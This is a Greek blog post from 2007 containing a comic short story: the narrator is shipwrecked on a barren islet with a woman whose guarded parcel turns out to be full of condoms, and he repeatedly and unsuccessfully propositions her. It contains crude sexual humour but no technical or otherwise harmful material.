anwnymous

Μαΐου 9, 2007

ΠΡΟΦΥΛΑΚΤΙΚΑ ΚΑΙ … ΟΔΟΝΤΟΒΟΥΡΤΣΑ

Filed under: Uncategorized — thelastrealanwnymous @ 7 :26 πμ

(Τι θα παίρνατε μαζί σας σε ένα έρημο νησί το καλοκαίρι;)

Το ξέρω, το ξέρω πολύ καλά και έχετε απόλυτο δίκιο. Ναι! ναι! ναι. Βιάστηκα να απαντήσω. Αλλά μου βγήκε πολύ αυθόρμητα η απάντηση. Τώρα εδώ που τα λέμε το τι έχω ακούσει και το τι έχετε ακούσει σ’ αυτές τις περιπτώσεις δεν περιγράφεται. Άλλος λεει πετονιές και αγκίστρι για ψάρεμα, άλλος θέλει ένα σωρό βιβλία από τη βιβλιοθήκη του και άλλος αρκείται μόνο και μόνο με τον «Μεγάλο Ανατολικό» του Εμπειρίκου. Υπάρχουν και οι κοιλιόδουλοι που θα ήθελαν ψησταριές και κάρβουνα για να διατηρούν αναμμένη τη φωτιά ώστε να μπορούν να ψήνουν για να μη πεινάσουν. Οι «Ράμπο» που γουστάρουν να έχουν μαχαίρια και όπλα και εργαλεία και ειδικές μπότες για αναρριχήσεις. Το ξέρω πως βιάστηκα να απαντήσω διότι έχω δει συνεντεύξεις με πολύ σοβαρά άτομα που σκέφτηκαν πολύ ώρα για να πούνε ότι θα ήθελαν μία… μυγοσκοτώστρα ή δύο ανεμιστηράκια (ένα για τις μασχάλες και ένα για τις πατούσες) ή θέλουν σησαμέλαιο και γουόκ για να μαγειρεύουν φύκια (κανονικά όχι από αυτά με μεταξωτές κορδέλες), ξαπλώστρες, αντηλιακά και ότι άλλο μπορείτε να φανταστείτε ότι φοράνε οι άνθρωποι στη παραλία. Εδώ όμως δεν μιλάμε για τη παραλία, τη πλαζ με τα κιόσκια και τον κόσμο πατείς με, πατώ σε, εδώ λέμε τι θα παίρνατε μαζί σας σε ένα έρημο νησί, τι θα θέλατε να μη έχει χαθεί από το ναυάγιο αν βρισκόσαστε Ροβινσόνας μόνος κατάμονος σε ένα μικροσκοπικό και έρημο νησί.

Επειδή όμως είναι σπάνιο να βρεθείς ναυαγός σε ερημικό νησί, ακούστε τι έπαθα πέρυσι το καλοκαίρι: Φύγαμε εκείνο το πρωί από μία μαρίνα κάπου στο Ιόνιο, με ένα κρουαζιερόπλοιο για μία ημερήσια βόλτα στο Σκορπιό, την Ιθάκη, το Μεγανήσι και τη Κεφαλονιά και θα επιστρέφαμε το απόγευμα. (Εννοείται ότι ήταν ένα σκάφος που έπρεπε να κάνει μόνο εκδρομές γύρο από το νησί αλλά τελικά διέθετε το μαγικό χαρτί – την άδεια – για να κάνει μεγαλύτερες βόλτες περνώντας από τα άλλα νησιά και αυτό το ταξιδάκι λεγόταν κρουαζιέρα).

Είμαστε τρεις φίλοι με πολύ ενθουσιασμό με φωτογραφικές μηχανές, με γουόκμαν, με αντηλιακά, με σανδάλια και καθένας με τα δικά του ιδιαίτερα χαρακτηριστικά που προσδιορίζουν την προσωπικότητα μας. Ο ένας είχε σκουλαρίκι με ακριβό «σβαρόφσκι», ο άλλος είχε βαμμένο το μαλλί κατάλευκο στις μύτες και πράσινο τον αριστερό κρόταφο και εγώ επειδή δε γούσταρα τέτοιες μαλακίες, για να μη υστερώ από τη παρέα είχα ένα φθαρμένο τζιν με σκίσιμο στο δεξί γόνατο.

Στο σκάφος διάφοροι επιβάτες, ζευγάρια, ξένοι, γυναικοπαρέες, αλλά τίποτε ενδιαφέρον που να μας κάνει την εκδρομή να έχει κάποιο ιδιαίτερο νόημα. Εμείς συνεχίσαμε να είμαστε ζωηροί και ευδιάθετοι, να πειραζόμαστε, να γελάμε, να μιλάμε σαν παρέα και να χαιρόμαστε την απομόνωση του γουόκμαν συγχρόνως. Ελάχιστα δευτερόλεπτα πριν σαλπάρει το σκάφος καταφθάνει μία τύπισσα με ένα απίθανα ξεσκισμένο τζιν – με όλο το μπροστινό μέρος με οριζόντιες χαρακιές, από πάνω μέχρι κάτω – και από μέσα να φαίνεται ένα στιλπνό ηλιοκαμένο δέρμα, με κάτι ψηλά σαμπό από φελλό, με ένα μικροσκοπικό μπούστο και ένα στήθος να ασφυκτιά πίσω από αυτό, μαλλί κατάμαυρο λίγο σπαστό και μακρύ σαν χαίτη ατίθασου αλόγου, εκπληκτικά γυαλιά και με τα πιο σχιστά μαύρα μάτια που έχω δει , κι αυτό το σοκολατί μαύρισμα των ανθρώπων που ζουν σε παραθαλάσσιο μέρος και δέχονται κάθε χρόνο από πολύ νωρίς το ευεργετικό χάδι του ήλιου.

Μας κόπηκε η ανάσα, μείναμε να τη κοιτάμε με το δέος που κοιτάζουν έναν άγγελο να κατεβαίνει στη γη. Κάτι ακούστηκε για φαρμακευτικό υλικό που έπρεπε να φθάσει επειγόντως σε κάποιο από τα νησιά του προορισμού μας και θα κατεβεί εκεί και δεν υπήρχε άλλο σκάφος να τη μεταφέρει νωρίτερα και ήρθε με το δικό μας και πράγματι είχε ένα δέμα σε μέγεθος βαλίτσας, καλά αμπαλαρισμένο με διάφορα υλικά πέριξ για να προστατεύεται, που το κουβαλούσε με δυσκολία όχι τόσο λόγω βάρους όσο από το φουσκωτό σχήμα του που δεν τη βόλευε να περάσει ανάμεσα από τα καθίσματα. Πέρασε μπροστά μας για να καθίσει τρεις σειρές μακριά μας μόνη, αγκαλιά με το πολύτιμο δέμα της. Μείναμε να τη κοιτάμε και όπως πλησίασε σκουντήξαμε ο ένας τον άλλο, ψιθυρίσαμε: «10;», «Ναι 10 με τόνο», «Όχι 9,5» «Μα τι λες τώρα είσαι καλά; 10 ακατέβατο και δώσε το δέμα σου να στο πάω εγώ κολυμπώντας και όταν επιστρέψω είμαι διαθέσιμος για ότι άλλη «τιμωρία» θέλεις να μου επιβάλλεις» «Παιδιά εγώ θα κατέβω, δεν αντέχω να είμαι μ’ αυτή τη γυναίκα στο ίδιο σκάφος και να ανήκει σε κάποιον άλλο» «Πόσο θα κάνουμε μέχρι το νησί που πηγαίνει; στο Μεγανήσι πηγαίνει; Πόσο; τέσσερις ώρες ; θα αναπνέουμε τον ίδιο αέρα τέσσερις ώρες; Κρατήστε με. Ή αφήστε με να κατέβω για να μη χάσω τη ψυχραιμία μου.» «Τέσσερα χρόνια, τέσσερα χρόνια σπουδές και το τέλος είναι εδώ, θα ξεχάσω κάποια στιγμή να αναπνέω εδώ πάνω σ’ αυτό το σκάφος, τέσσερα χρόνια πανεπιστήμιο, πέρασα όλα τα μαθήματα τον Ιούνιο και τώρα «στα μισά του πέλαου» έφθασε η στιγμή να συναντήσω τη μοίρα μου.»

Το σκάφος σάλπαρε, πάτησε και αυτή τη φοβερή κόρνα που έχουν αυτά τα μεγάλα καρυδότσουφλα και κάποια στιγμή η στεριά χάθηκε από τα μάτια μας και μείναμε να κοιτάμε αυτό το θεϊκό πλάσμα που σχεδόν ξάπλωσε πάνω στο πάγκο- κάθισμα και δεν έδινε σημασία σε κανέναν απολύτως παρά μόνο στο πολύτιμο δέμα της που έπρεπε να φθάσει με ασφάλεια. Σηκώθηκα και πήγα στη τουαλέτα να βουρτσίσω τα δόντια μου – πράγμα που με κάνει να έχω τρομερή αυτοπεποίθηση – χάζεψα λίγο τη θάλασσα και γύρισα πάλι στους άλλους.

Το ταξίδι απέκτησε νόημα και σκοπό πλέον και με βάση τους νόμους προσφοράς και ζήτησης όσο αδιάφορη ήταν η στάση της για τον κόσμο γύρο της, τόσο εμείς δεν μπορούσαμε να τραβήξουμε το βλέμμα μας από πάνω της. Φυσικά δεν συνέβαινε τίποτε μέχρι που οι δείκτες του ρολογιού έδειξαν εννιά και τριάντα. Ε λοιπόν τώρα μπορώ να καταλάβω γιατί οι εταιρείες κινητής τηλεφωνίας δεν θα πτωχεύσουν ποτέ στη χώρα μας. Μετά τις 9:30 χτύπησε το κινητό της. Απάντησε ανόρεχτα και μάλλον το έκλεισε πολύ σύντομα. Δέχτηκε άλλες δύο κλήσεις μέχρι τις 10:00. Μετά έγινε συνωστισμός. Της τηλεφωνούσαν κάθε πέντε λεπτά. Απαντούσε με τον τρόπο που ένας έμπορος αποκρούει μία ασύμφορη πρόταση. Αλλά αυτό δεν είναι τίποτε, ακούσαμε ένα σωρό ρινγκ τόουνς που αντιστοιχούσαν σε διάφορα μουσικά κομμάτια. Πριν σηκώσει το ακουστικό από τον ήχο της μελωδίας γνώριζε ποιος την καλούσε. Απαντούσε άνετα χωρίς περιστροφές και οι πιο πολλές συνομιλίες της φαινόταν ευγενικές ή αυστηρότερες αρνήσεις με μία φοβερή αυτοκυριαρχία και μία ευελιξία διευθυντή ορχήστρας που διευθύνει ανθρώπους και μελωδίες σαν να έχει και την εμπειρία και την προετοιμασία με πολλαπλές πρόβες.

Ακολούθησαν πολλές συνδιαλέξεις και πολλά ρινγκ τόουνς ώσπου ακούσαμε αυτό το καινούριο τραγούδι της Ηρώς – ακόμα δεν είχε κυκλοφορήσει καλά -καλά το σι ντι και εκείνη το είχε σε ρινγκ τόουν – και μόνο τότε γλύκανε το πρόσωπό της και απάντησε πολύ τρυφερά εξηγώντας μάλλον το ξαφνικό ταξίδι της και χαϊδεύοντας με το ελεύθερο χέρι το δέμα δίπλα της. Αυτός που του αρέσει η Ηρώ είναι ο «περί ου ο λόγος», ο τύπος που βασανίζει τις σκέψεις αυτού του κοριτσιού και εμείς έχοντας τόσο πολύ αφοσιωθεί στις κινήσεις της, ήδη μαντεύουμε την έκφρασή του, τον τρόπο που κρατάει το δικό του κινητό, τη μορφή που έχει αποθηκευμένο στη μνήμη τον αριθμό της και κυρίως τον τόνο της φωνής, αυτό το επιβλητικό σκληρό μέταλλο που έχουν τα λόγια ανθρώπων με αυτοπεποίθηση και που ακόμα και το «εμπρός» που λένε σηκώνοντας το ακουστικό κάνει όλες τις γυναίκες να λιώνουν.

Είχαμε απορροφηθεί με τα τηλεφωνήματα και αφήναμε τις μελωδίες του κινητού της να αιφνιδιάζουν τα αυτιά μας και ούτε το κύμα καταλάβαμε, ούτε ότι το σκάφος έκανε μία διαφορετική πορεία για να φθάσουν πιο γρήγορα τα φάρμακα στο προορισμό τους. Δεν είχε καμία υπερβολική φουρτούνα, απλώς γινόταν αισθητό ότι το σκάφος ανηφόριζε και κατηφόριζε στο κύμα χωρίς να γίνεται αγχώδης αυτή η πορεία του. Όμως είχαν ζορίσει κάπως τις μηχανές, είχαν αλλάξει και τη συνηθισμένη τους ρότα, βρισκόμαστε πιο κοντά προς το ανοιχτό πέλαγος και πιο μακριά από τη ξηρά και το σκαρί ήταν παλιό, έχοντας μόνο στους τύπους εξασφαλίσει την άδεια πλεύσης και η μηχανή κάποια στιγμή ζορίστηκε αρκετά και έβγαζε έναν αφύσικο ήχο και μόλις ο ένας από τους δύο πηδαλιούχους κατέβηκε στο αμπάρι να δει τι γίνεται, τότε ξαφνικά γέμισε όλο το σκάφος πυκνούς καπνούς ,που έβγαιναν από τη καταπακτή της μηχανής και σε λίγο ούτε ο «μηχανικός» άντεχε εκεί, ούτε εμείς μέσα στο σκάφος και βγήκαμε όλοι και κρεμόμαστε στα πλαϊνά, ακριβώς στην πατούρα πάνω από τα λάστιχα που κρεμάνε στις δύο πλευρές του πλοίου, για να μη τραυματίζεται όταν πιάνει λιμάνι και κανείς δεν πρόλαβε να σηκώσει το κινητό και δεν λειτουργούσαν ούτε τα CB ούτε άλλος τρόπος βρέθηκε να επικοινωνήσουμε, να εκπέμψουμε ένα SOS και σε δευτερόλεπτα έγινε η έκρηξη που χώρισε το σκάφος στη μέση και βρεθήκαμε στο νερό. Το κύμα ήταν ψηλό και βρεθήκαμε πολύ μακριά μεταξύ μας. Δεν πρόλαβα να δω τους άλλους δύο φίλους μου και μόνο τη «γοργόνα μας» είδα να επιπλέει αγκαλιά με πολύτιμο φορτίο της που φαίνεται ότι λόγω της κατασκευής του ήταν αρκετά ελαφρύ για να την κρατάει στην επιφάνεια. Δεν μπορώ να πω ότι η θέα της με καθησύχασε ότι εκείνη θα τη γλιτώσει. Είχα κάποια θετικά συναισθήματα για τη καλή της μοίρα, αλλά ήδη οι σκέψεις μου ήταν θολές για ότι έγινε, δεν ήξερα αν πηδήξαμε στο νερό γιατί μας έπνιγε ο καπνός ή αν ο κραδασμός της έκρηξης μας άδειασε στη θάλασσα, δεν κατάφερα να διακρίνω τους φίλους μου και είδα όλους τους επιβάτες σαν κουκίδες να απομακρύνονται και από μένα και μεταξύ τους σαν θραύσματα ενός μπιγκ – μπαγκ που μας εξωθούσε στα σημεία του ορίζοντα. Απομονώθηκα τόσο πολύ που δεν καταλάβαινα τίποτε γύρο μου και αισθανόμουν αυτή τη δύναμη επιβίωσης να φουντώνει μέσα μου, ώστε να κολυμπάω και να μένω στην επιφάνεια αλλά χωρίς σκοπό και χωρίς προσανατολισμό.Κολύμπησα πολύ ώρα, μέχρι που άρχισα να αισθάνομαι ότι είμαι σε ένα στρώμα με πολύ μπερδεμένα σεντόνια και έπρεπε να τα απομακρύνω για να ξαπλώσω να ξεκουραστώ..…………

Ξύπνησα με τον ήχο του κύματος που σκαει στη παραλία. Είναι πρωί και είμαι ανάσκελα στην άμμο και όλα τα μέλη του σώματός μου τα αισθάνομαι τόσο βαριά που δεν μπορώ να τα κουνήσω. Περνάει πολλή ώρα μέχρι να κάνω κάποιες κινήσεις. Είμαι κολλημένος στην άμμο σαν όστρακο που το έβγαλαν έξω τα κύματα. Μόνο όταν καταφέρνω να σηκωθώ μπορώ να καταλάβω πόσο εξαντλημένος είμαι. Μου λείπει το δεξί μπατζάκι από το γόνατο κάτω εκεί που ήταν το σχίσιμο και δεν έχω ούτε πουκάμισο ούτε σανδάλια. Ρίχνω μία ματιά στη παραλία και λίγο πιο πέρα βλέπω ένα ακίνητο σώμα φερμένο από τα κύματα και πλησιάζω με χτυποκάρδι και δεν μπορώ να διανοηθώ ότι αυτό που βλέπω είναι το «πλάσμα» , είναι εκείνο το θεϊκό κορίτσι μπλεγμένο ανάμεσα σε φύκια που σκεπάζουν το κορμί της, το τζιν της έχει γίνει ένα πολύ καυτό σορτς, το μπούστο έχει γίνει μια φαρδιά ζώνη γύρω από τη μέση και το στήθος της παλεύει με τα φύκια, προσπαθώντας να τα απωθήσει για να κάνει αισθητή την αγέρωχη παρουσία του.

Απομακρύνω τα φύκια και όπως αγγίζω με δέος το δέρμα της δεν μπορώ να πω ότι το θεωρώ νεκρό. Την ξεκολλάω από την άμμο και με τις λίγες δυνάμεις που μου έχουν απομείνει προσπαθώ να τη μεταφέρω μακριά από το νερό. Δεν κάνω δύο βήματα και προσγειώνομαι στην άμμο. Στη προσπάθειά μου να μη χτυπήσει κάνω μία άγαρμπη κίνηση και πιέζεται το στομάχι της και μία ποσότητα νερού πετάγεται από το στόμα της και ενώ δεν ξέρω αν είναι ζωντανή βήχει τόσο δυνατά που τρομάζω και εκείνη τη στιγμή μόνο αισθάνομαι ότι έχω συνέλθει από το σοκ του ναυαγίου.

Ανοίγει τα μάτια και δεν ξέρω αν με βλέπει και τη γυρίζω στο πλάι όπου συνεχίζοντας να βήχει βγάζει κι άλλο νερό. Πηγαίνω μέχρι το νερό και γεμίζω τις χούφτες μου και της πλένω το πρόσωπο από την άμμο και τα φύκια. Περιμένω και δεν αντιδράει ιδιαίτερα, δεν μιλάει και ξέρω ότι έχουμε την ίδια κούραση και ξαναπαίρνω νερό και της δροσίζω τα χείλη και το πρόσωπο. Αυτό που μου συμβαίνει είναι τόσο απροσδιόριστο που κάνω αλλοπρόσαλλες σκέψεις. Σκέφτομαι αν τη βρίσκω ακόμη τόσο σέξι όπως πριν στο καράβι. Μετά σκέφτομαι αν θα μας βρούνε σύντομα ή αν θα πεθάνουμε της πείνας σ’ αυτό το νησί. Θέλω να κάνω μία βόλτα προς τη στεριά να δω που βρισκόμαστε, αλλά περιμένω να σιγουρευτώ ότι είναι καλύτερα. Περνάει κάποια ώρα και αυτός ο παροξυσμός βήχα έχει σταματήσει και νομίζω ότι είναι καλύτερα τώρα.

Ανοίγει τα μάτια, αυτά τα φοβερά μαύρα μάτια-φωτιές και νομίζω ότι ξυπνάει πάλι το πλάσμα που ήταν στο σκάφος το πρωί. Και ενώ είμαι ο ήρωας που της έσωσα τη ζωή δέχομαι ένα καταιγισμό από φωνές, λέξεις που δεν μπορώ να πιστέψω ότι βγαίνουν από ένα τόσο ωραίο στοματάκι και μένω άναυδος. Εκείνη σηκώνεται απότομα απομακρύνεται λίγο μου γυρίζει τη πλάτη για να φτιάξει το μπούστο της, κοιτάζει συνέχεια μια το στήθος και μια εμένα και με ρωτάει πόση ώρα είμαι εκεί από πάνω της και αν την άγγιξα και ψάχνεται με ένα τρόπο σαν να θέλει να δει αν υπάρχουν ίχνη από τα χέρια μου πάνω της και δεν ξέρω αν έχω θυμώσει και θέλω να την πνίξω ή αν μου αρέσει πιο πολύ αυτή η λυσσασμένη αντίσταση που προβάλλει τώρα , αντίσταση χωρίς νόημα αφού μόνο με τη φαντασία μου την έχω γδύσει, την έχω ερωτευθεί, την έχω κάνει να ξεχάσει ότι ήξερε μέχρι τώρα για τους άνδρες.

Όπως κάθομαι και την ακούω εκεί δείχνει να φοβάται ότι διατρέχει πολύ μεγάλο κίνδυνο και μου λεει ότι δεν έπρεπε να γλιτώσουμε και καλύτερα να έβρισκαν τα κορμιά μας πνιγμένα εδώ, παρά να μας βρουν μαζί. Φυσικά έχω κάποιο σοκ αλλά δεν μπορώ να ακούω άλλο αυτό το παραλήρημα, το κορίτσι μπορεί να είχε κάποια προβλήματα ήδη και όλα αυτά που πέρασε έφεραν στην επιφάνεια πράγματα που… νομίζω θα ήταν καλύτερα αν είχε σωθεί παρέα με ένα ψυχίατρο εδώ. Μέχρι να τους βρουν θα είχε κάνει και δωρεάν θεραπεία. Εγώ το μόνο που μπορώ να προσφέρω εδώ – και με τα μέσα που διαθέτω – είναι: «απλό σεξ», «δυνατό σεξ», «πολύ τρυφερό σεξ» και πολύ «ρομαντικό σεξ» για επιδόρπιο μετά το «κυρίως σεξ.»

Όπως μου μιλάει ξαφνικά βλέπει το δέμα της να το λικνίζουν τα κύματα στη παραλία και με παρατάει χωρίς κουβέντα για να τρέξει γρήγορα προς τα εκεί. Κάνει πολύ μεγάλες χαρές που είναι το δέμα της. Το φέρνει κοντά μου και τώρα δείχνει πιο ήρεμη σαν να διέφυγε ένα μέρος του κινδύνου που νομίζει ότι την πλησιάζει. Δεν της δίνω καμία σημασία πλέον και πηγαίνω προς το κέντρο του νησιού να δω που βρισκόμαστε. Δεν υπάρχει καμία φοβερή βλάστηση κι ανεβαίνοντας σε ένα ψηλότερο βράχο βλέπω ότι είμαστε πάνω σε μία μεγάλη βραχονησίδα που όμως εκτός από λίγους θάμνους και τη θάλασσα γύρο – γύρο να μας κρατάει δέσμιους εκεί δεν υπάρχει τίποτε άλλο. Το πιθανότερο είναι ότι τη νύχτα θα έχει αρκετό κρύο και δεν υπάρχει δυνατότητα να ανάψουμε φωτιά η να ζεσταθούμε με άλλο τρόπο εκτός… από ένα «τρόπο» που εγώ ξέρω πολύ καλά αλλά δεν…

Γυρίζω πίσω και της λεω ότι είμαστε σε ένα πολύ μικρό νησί που δεν έχει τίποτε επάνω. Δεν απαντάει και τότε τη ρωτάω τι περιέχει το δέμα της και μου λεει να μη με νοιάζει. Θέλω να της πω ότι τα πράγματα είναι πολύ σοβαρά, ότι αν αργήσουν να μας βρουν θα πίνουμε αλατόνερο και αν αναγκαστούμε να φαμε φύλλα από τους θάμνους θα μας προλάβει η αφυδάτωση της διάρροιας πριν από τη δίψα να μας αποτελειώσει. Δεν θέλει να μου αποκαλύψει τι έχει το δέμα και μου λεει αν θέλω το καλό μου να μη προσπαθήσω να το παραβιάσω. Πάντως εδώ παρατηρώ ότι ενώ εγώ έχω ένα φόβο για τα στοιχεία της φύσεως, ότι δηλαδή πρέπει να αντιμετωπίσουμε τη πείνα και τη δίψα, εκείνη έχει μία σιγουριά ότι θα μας βρουν σύντομα και το μόνο που πρέπει να κάνουμε εμείς από τη πλευρά μας, είναι να είμαστε σε μία κατάσταση «κοινωνικά κορέκτ» και να μη δίνουμε σε καμία περίπτωση την εντύπωση ότι «κάτι προηγήθηκε» μεταξύ μας ούτε καν ότι μας πέρασε από το μυαλό.

Το διαισθάνομαι πολύ έντονα αυτό που λεω και προσπαθώ να μάθω περισσότερα. Αρχίζω από το δέμα. Τι έχει μέσα το δέμα; Θέλω να μάθω τώρα αμέσως τι έχει μέσα το δέμα. Μου λεει το καλό που μου θέλει να μη ασχοληθώ με το δέμα. Το πιάνω στα χέρια μου και βάζει κάτι φωνές, αλλά ποιος να την ακούσει. Αναρωτιέμαι μήπως έχει ναρκωτικά, μήπως είναι ένα ντόπιο κύκλωμα με τις διασυνδέσεις του οπότε πράγματι θα μας βρουν γιατί έχουν επενδύσει πολλά σ’ αυτή την υπόθεση.

Θέλω αμέσως να δω τι έχει μέσα το καταραμένο το δέμα. Αντιστέκεται και κάποια στιγμή ξεσπάει σε κλάματα, οπότε το παρατάω και της λεω ότι έχει πολύ άγχος για μια τέτοια ερημική παραλία και ότι το καλύτερο θα ήταν να δοκιμάσουμε αυτή τη λύση του οργασμού, γιατί έχω διαβάσει ότι μετά από ένα δυνατό οργασμό ο εγκέφαλος εκκρίνει ενδορφίνες, μικροποσότητες ορμονών που ανεβάζουν την αντίσταση του οργανισμού και φέρνουν μια γλυκιά ηρεμία, κάτι σαν αγχολυτικό. Φυσικά μου λεει ότι πρέπει να βγάλω από το μυαλό μου κάτι τέτοιο, γιατί δεν μπορώ ούτε να φανταστώ πόσο σημαντικός είναι εδώ στη περιοχή ο εραστής της και τι δύναμη έχει σε μία μεγάλη ομάδα ανθρώπων που δουλεύουν για λογαριασμό του.

Η ώρα περνάει και δεν εμφανίζεται κανένα σημάδι στον ορίζοντα. Απομακρύνομαι από κοντά της και κάνω άσκοπες βόλτες μέχρι την άλλη άκρη του βράχου χωρίς διάθεση με τελείως μπερδεμένες σκέψεις. Πραγματικά αδιαφορώ αν θα μας βρούνε, προσπαθώ να σκεφτώ αν έχουν σωθεί οι φίλοι μου και να εξηγήσω πως βρεθήκαμε εμείς οι δύο, από τόσο κόσμο που είχε το καράβι, εδώ σ’ αυτό το έρημο νησάκι. Ο ήλιος ανεβαίνει και καιει πιο πολύ . Δεν αισθάνομαι δίψα ακόμα και δεν ξέρω τι άλλο θα μας προκύψει εδώ και φαντάζομαι ότι το πρόσωπο του θανάτου με τίποτε δε μοιάζει μ’ αυτό το νησί και όπως και να έχουν τα πράγματα ένας τεταρτοετής φοιτητής ξέρει πολύ καλά ότι καμία γυναίκα δεν μπορεί να πει το ναι τόσο εύκολα και δεν χάνω καθόλου τις ελπίδες μου για μία ονειρική έκβαση αυτής της ιστορίας και πιάνω τον εαυτό μου να σκέφτεται και να παρακαλάει ενδόμυχα να καθυστερήσει πάρα πολύ να μας βρει είτε το λιμενικό, είτε αυτός ο άγριος τύπος που κρατάει τη περιοχή στη χούφτα του και τόσο πολύ τον φοβάται αυτό το υπέροχο πλάσμα που τώρα είναι ακουμπημένο στο δέμα με τα φάρμακα και ξέρει πολύ καλά ότι το καλύτερο που έχει να κάνει είναι να περιμένει (και συγχρόνως να με κρατάει σε απόσταση).

Τώρα βέβαια καταφέρνω να σκεφτώ το αυτονόητο, ότι δηλαδή το σημαντικότερο θα ήταν να είχαμε ένα κουτί σπίρτα και αν μπορούσαμε να ανάψουμε μία φωτιά και τότε κάποιο περαστικό πλοίο ή κάποιος που μας αναζητά θα μας έβλεπε ευκολότερα. Την πλησιάζω και πάλι και τη ρωτάω μήπως υπάρχουν σπίρτα ή κάτι εύφλεκτο που να μπορούσαμε να το ανάψουμε και ενώ ψάχνω τις τσέπες μου ανακαλύπτω την οδοντόβουρτσα μου και μάλιστα δεν έχει χαθεί ούτε η οδοντόκρεμα και αμέσως βουρτσίζω τα δόντια μου με θαλασσινό νερό και λεω ότι το σεξ είναι πολύ αγοραίο αν δεν αρχίζει μ’ ένα φιλί και μπορώ να της δανείσω τουλάχιστον την οδοντόκρεμα για να νιώσει αυτή δροσιά στο στόμα της και ίσως να έχει και μία ξεδιψαστική αίσθηση τώρα που ο ήλιος έχει ανέβει ψηλά. Γυρίζει με πολύ κακή διάθεση και μου λεει πως οτιδήποτε θα ήταν αφύσικο εδώ σ’ αυτή την ερημιά, όπως το να μυρίζει ωραία το στόμα της θα ήταν αιτία για να ζηλέψει ο εραστής της και τότε δεν θα μας έσωζε τίποτε και τους δύο από το θυμό του και τότε πρόσεξα ένα φευγαλέο βλέμμα της προς τα πόδια της όπου υπήρχαν ίχνη από παλιά σημάδια και χτυπήματα, όλα όπως φαίνεται εικαστικά έργα, κάτι σαν μπόντι αρτ, μίας ζήλιας, ενός εγωισμού και μίας παθιασμένα κτητικής κατάστασης, (σ’ αυτόν τον ημιάγριο αναφέρομαι) που ξεπερνάει τα όρια του έρωτα που φθάνει σε μια άγρια όρεξη για ζωή, για κατάκτηση και πλήρη υποταγή και σαν να προκαλεί, σαν να δίνει συχνά μια ανελέητη μάχη με το θάνατο που τον συναντά παντού, που τον σνομπάρει και τον υποτιμά σαν να μη δέχεται με τίποτε ότι τέτοια κορμιά μια μέρα θα είναι ανήμπορα να παραμερίσουν το χώμα που τα σκεπάζει… Μια στιγμή, να το σκεφτούμε πάλι αυτό το τελευταίο, τώρα σίγουρα περιγράφω μία προσωπικότητα που παίρνει ή ναρκωτικά ή προζάκ, πρέπει να δω επειγόντως τι περιέχει το δέμα.

«Θέλω να ανοίξουμε τώρα το δέμα» λεω και την κοιτάζω αυστηρά. «Οκ» μου λεει, «θέλεις να μάθεις τι περιέχει αυτό το σκατοδέμα που εξ αιτίας του βρίσκομαι εδώ και δεν υπήρχε τίποτε χειρότερο να μου συμβεί. Το δέμα περιέχει προφυλακτικά. Μάλιστα προφυλακτικά. Περιμένουμε πολύ κόσμο εφέτος εδώ και το πρώτο κύμα ήρθε αυτές τις μέρες. Τώρα τι να σου πω; Ότι έρχονται για σεξουαλικό τουρισμό; Δεν ξέρω, ξέρω όμως ότι τα καταστήματα είχαν μία έλλειψη σε προφυλακτικά και έπρεπε να εφοδιαστούν αμέσως.» «Προφυλακτικά έχει το δέμα; Δεν μπορώ να το πιστέψω.» «Ναι προφυλακτικά έχει το δέμα.» «Και συγνώμη να έχουμε τόσα προφυλακτικά εδώ που φθάνουν για ένα ολόκληρο νησί και να μη μπορούμε να κάνουμε έρωτα;» «Δεν είσαι καλά μου φαίνεται. Αν θες τόσο πολύ πνίξε με και μετά κάνε μου ότι θες.» «Εσύ δεν είσαι καλά. Με προσβάλεις. Απλά θέλω να πω ότι τα πράγματα δείχνουν από μόνα τους τι μπορούμε να κάνουμε: σεξ και μάλιστα πολύ ασφαλές σεξ. Πρόσεξε με. Βουρτσίζουμε τα δόντια μας, μάλλον διαλύουμε λίγη οδοντόκρεμα στο στόμα, ξεκινάμε με ένα υπέροχο φιλί, όπως εκείνο στη παραλία στο φιλμ «Όσο υπάρχουν άνθρωποι» – αλήθεια το έχεις δει αυτό το φιλμ; – και μετά κλείνεις τα μάτια και τά αφήνεις όλα σε μένα. Θα σε οδηγήσω στη χώρα της αιώνιας ηδονής.»

« Δε ξέρω τι ταινίες βλέπεις , αυτό που ξέρω είναι ότι ,μόλις διάλεξες τον τρόπο που θες να πεθάνεις» μου είπε. «Κοίταξε πως έχουν τα πράγματα: Αυτό που μας συμβαίνει είναι κάτι σαν στοίχημα. Αν μας βρει ο αγαπημένος σου κερδίζεις, αν όμως πεθάνουμε εδώ από πείνα και δίψα χωρίς να καταφέρει να μας βρει κανείς τότε αυτό που μας συμβαίνει εδώ είναι αποκλειστικά δικό μας θέμα και μόνοι μας θα δούμε τι θέλουμε. Αυτή τη στιγμή για μας ο κόσμος μας είναι αυτό το νησί και αφού δεν υπάρχει τίποτε άλλο ούτε τρόφιμα, ούτε νερό, ούτε φωτιά παρά μόνο το έδαφος που πατάμε και γύρο μας η θάλασσα, η φύση μιλάει από μόνη της, τι μας απομένει να κάνουμε; ορίστε απάντησέ μου. Να σου πω εγώ γιατί εσύ δεν ξέρεις. Μόνο έρωτα μπορούμε να κάνουμε μάλιστα μόνο έρωτα ίσως και κάτι άλλο: να… προσευχηθούμε. Εγώ δεν θέλω, αν θες εσύ πες μου να σε αφήσω ήσυχη.» «Αν έστω και για μια στιγμή σκεφτεί αυτά που μου λες είσαι τελειωμένος.» «Θέλω να πεθάνω για χάρη σου.» «Ναι αλλά δεν θέλω εγώ να… πεθάνω για χάρη σου» μου είπε.

Οι ώρες περνάνε, οι σκέψεις χάνονται χωρίς νόημα στην απεραντοσύνη ενός θόλου που από παντού τυλίγει αυτό το νησί, τη θάλασσα και το παραμικρό λευκό κύμα που μπορεί κάπου να πιάνει το μάτι. Μόνο ένα πράγμα υπάρχει εδώ και το ξέρω μόνο εγώ. Αν δεν μας βρουν προβλέπω ένα «λευκό» τέλος. Ένα αόριστο πλατωνικό αίσθημα για τον έρωτα στον κόσμο των ιδεών, πλανιέται γύρω μας και είναι ο ορίζοντας που σαν έρωτας ενώνει τη θάλασσα με τον ουρανό και αισθάνομαι να είναι αυτό το απόλυτο συμβάν, αφού έχω την έμμονη ιδέα ότι οι δύο υπάρξεις μας είναι δύο «ημίσεα» που φαίνεται να συναντήθηκαν εδώ.

